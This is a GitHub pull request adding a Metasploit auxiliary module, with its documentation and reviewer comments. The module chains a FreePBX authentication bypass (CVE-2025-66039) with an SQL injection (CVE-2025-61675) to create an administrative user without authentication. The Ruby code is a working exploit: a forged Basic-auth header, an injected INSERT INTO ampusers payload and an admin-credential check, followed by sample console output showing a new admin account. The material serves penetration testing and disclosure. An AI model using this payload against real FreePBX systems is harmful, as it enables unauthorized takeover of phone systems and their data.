-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Adds auxiliary module for FreePBX (CVE-2025-66039, CVE-2025-61675) #20846
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
aaf1c83
de856db
cd38ca5
147fd90
7bbf491
0720ed8
3801408
dd67886
8e8c61b
744b366
ff5ad78
b4f4078
5ee1a15
e114ecd
97116e4
ba1ba6d
c56f9d2
3672e2b
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,66 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses | ||
| that use VoIP to make and receive phone calls. | ||
| Versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and | ||
| CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when | ||
| FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to | ||
| authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the | ||
| SQL injection in the custom extension component. | ||
| The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a | ||
| new administrative user. | ||
|
|
||
| To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso). | ||
| Note that **Authorization Type** needs to be set to **webserver**: | ||
|
|
||
| 1. Log into FreePBX Administration | ||
| 1. Settings -> Advanced Settings | ||
| 1. Change **Authorization Type** to **webserver** | ||
|
|
||
| Finally, the FreePBX needs to be activated to access vulnerable APIs: | ||
|
|
||
| 1. Log into FreePBX Administraton | ||
| 1. Admin -> System Admin | ||
| 1. Activate instance | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install FreePBX | ||
| 1. Start msfconsole | ||
| 1. Do: `use auxiliary/gather/freepbx_custom_extension_injection` | ||
| 1. Do: `set RHOSTS [target IP address]` | ||
| 1. Do: `set USERNAME [FreePBX user]` | ||
| 1. Do: `set FAKE_USERNAME [new username]` | ||
| 1. Do: `set FAKE_PASSWORD [new password]` | ||
| 1. Do: `run` | ||
|
|
||
|
|
||
| ## Options | ||
|
|
||
| ### NEW_USERNAME | ||
|
|
||
| Username for new administrative user. | ||
|
|
||
| ### NEW_PASSWORD | ||
|
|
||
| Password for new administrative user. | ||
|
|
||
| ### USERNAME | ||
|
|
||
| Performing authentication bypass requires the username of an existing user. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ``` | ||
| msf auxiliary(gather/freepbx_custom_extension_injection) > set rhosts 192.168.168.223 | ||
| rhosts => 192.168.168.223 | ||
| msf auxiliary(gather/freepbx_custom_extension_injection) > set fake_username msfuser1 | ||
| fake_username => msfuser1 | ||
| smsf auxiliary(gather/freepbx_custom_extension_injection) > set fake_password msflab | ||
| fake_password => msflab | ||
| msf auxiliary(gather/freepbx_custom_extension_injection) > run verbose=true | ||
| [*] Running module against 192.168.168.223 | ||
| [*] Trying to create new fake user | ||
| [+] New admin account: msfuser1/msflab | ||
| [*] Auxiliary module execution completed | ||
| ``` | ||
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,100 @@ | ||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Auxiliary | ||||||
|
|
||||||
| include Msf::Exploit::Remote::HttpClient | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super( | ||||||
| update_info( | ||||||
| info, | ||||||
| 'Name' => 'FreePBX Custom Extension SQL Injection', | ||||||
| 'Description' => %q{ | ||||||
| FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user. | ||||||
| }, | ||||||
| 'Author' => [ | ||||||
| 'Noah King', # research | ||||||
| 'msutovsky-r7', # module | ||||||
| ], | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'References' => [ | ||||||
| [ 'CVE', '2025-66039'], # Authentication Bypass | ||||||
| [ 'CVE', '2025-61675'], # SQL injections | ||||||
| [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/'] | ||||||
| ], | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Do we need to pop on the disclosure date here? |
||||||
| 'Notes' => { | ||||||
| 'Stability' => [CRASH_SAFE], | ||||||
| 'Reliability' => [], | ||||||
| 'SideEffects' => [IOC_IN_LOGS] | ||||||
| } | ||||||
| ) | ||||||
| ) | ||||||
| register_options([ | ||||||
| OptString.new('USERNAME', [true, 'A valid FreePBX user']), | ||||||
| OptString.new('NEW_USERNAME', [false, 'Username for inserted user']), | ||||||
| OptString.new('NEW_PASSWORD', [false, 'Password for inserted user']), | ||||||
| ]) | ||||||
| end | ||||||
|
|
||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would this benefit from a |
||||||
| def run | ||||||
| username = datastore['NEW_USERNAME'] || Rex::Text.rand_text_alphanumeric(rand(4..10)) | ||||||
| password = datastore['NEW_PASSWORD'] || Rex::Text.rand_text_alphanumeric(rand(6..12)) | ||||||
|
|
||||||
| print_status('Trying to create new administrative user') | ||||||
| res = custom_extension_injection(username, Digest::SHA1.hexdigest(password)) | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think that the |
||||||
|
|
||||||
| fail_with(Failure::PayloadFailed, 'Failed to create administrative user') unless res&.code == 401 | ||||||
|
|
||||||
| if valid_admin_creds?(username, password) | ||||||
| print_good("New admin account: #{username}/#{password}") | ||||||
| else | ||||||
| print_error('Failed to create new user') | ||||||
| end | ||||||
| end | ||||||
|
|
||||||
| def valid_admin_creds?(username, password) | ||||||
| res = send_request_cgi({ | ||||||
| 'uri' => normalize_uri('admin', 'ajax.php'), | ||||||
| 'method' => 'POST', | ||||||
| 'vars_get' => { | ||||||
| 'module' => 'userman', | ||||||
| 'command' => 'checkPasswordReminder' | ||||||
| }, | ||||||
| 'headers' => { Referer: full_uri(normalize_uri('admin', 'config.php')) }, | ||||||
| 'vars_post' => { | ||||||
| 'username' => username, | ||||||
| 'password' => Rex::Text.encode_base64(password), | ||||||
| 'loginpanel' => 'admin' | ||||||
| } | ||||||
| }) | ||||||
|
|
||||||
| return false unless res&.code == 200 | ||||||
|
|
||||||
| json_data = res.get_json_document | ||||||
|
|
||||||
| return false unless json_data['status'] == true && json_data['message'] == '' && json_data['usertype'] == 'admin' | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Do we care if the |
||||||
|
|
||||||
| true | ||||||
| end | ||||||
|
|
||||||
| def custom_extension_injection(username, password) | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
| send_request_cgi({ | ||||||
| 'uri' => normalize_uri('admin', 'config.php'), | ||||||
| 'method' => 'POST', | ||||||
| 'headers' => { | ||||||
| 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. (maybe)
Suggested change
|
||||||
| }, | ||||||
| 'vars_get' => { | ||||||
| 'display' => 'endpoint', | ||||||
| 'view' => 'customExt' | ||||||
| }, | ||||||
| 'vars_post' => { | ||||||
| 'id' => %<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password}', '*')#> | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
| } | ||||||
| }) | ||||||
| end | ||||||
|
|
||||||
| end | ||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ugh...... highlighted the wrong line..... FAKE_USENAME => NEW_USERNAME